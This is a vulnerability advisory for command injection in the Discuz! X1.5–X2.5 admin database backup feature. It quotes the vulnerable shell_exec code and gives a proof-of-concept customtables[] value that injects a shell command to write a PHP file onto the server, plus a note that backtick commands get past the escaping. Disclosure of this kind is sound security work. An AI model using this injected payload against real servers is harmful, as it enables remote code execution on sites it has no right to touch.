Discuz! X1.5 to X2.5's database backup function in file source/admincp/admincp_db.php allows remote attackers to execute arbitrary PHP code.

Source: https://github.com/FoolMitAh/CVE-2018-14729/blob/master/Discuz_backend_getshell.md

Description

Discuz! X1.5 to X2.5's database backup function in file source/admincp/admincp_db.php allows remote attackers to execute arbitrary PHP code.

VulnerabilityType Other

Remote Code Execution

Vendor of Product

Tencent

Affected Product Code Base

Discuz X1.5 - X2.5

Attack Type

Remote

Impact Code execution

true

Attack Vectors

Administrative Privileges Required

Has vendor confirmed or acknowledged the vulnerability?

true

Discoverer

[email protected] Tech

Detail

Take DiscuzX2.5 for example

source/admincp/admincp_db.php

# line 296
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
# line 281
$tablesstr = '';
foreach($tables as $table) {
    $tablesstr .= '"'.$table.'" ';
}
# line 143
$tables = & $_GET['customtables'];

We can easily control the arg $tablesstr in function shell_exec() to execute code.

POC

change customtables[] = pre_common_admincp_cmenu">aaa; echo '<?php phpinfo(); ?>' > phpinfo.php #

Additional Information

Discuz - 1.5 - 2.0

$tables = $_G['gp_customtables']

use addslashes() to escape, but it still works by `whoami`

Discuz - 3.0 - 3.4

Developers wrote a bug, database backup feature doesn't work. However, the vunl still there.

REFERENCE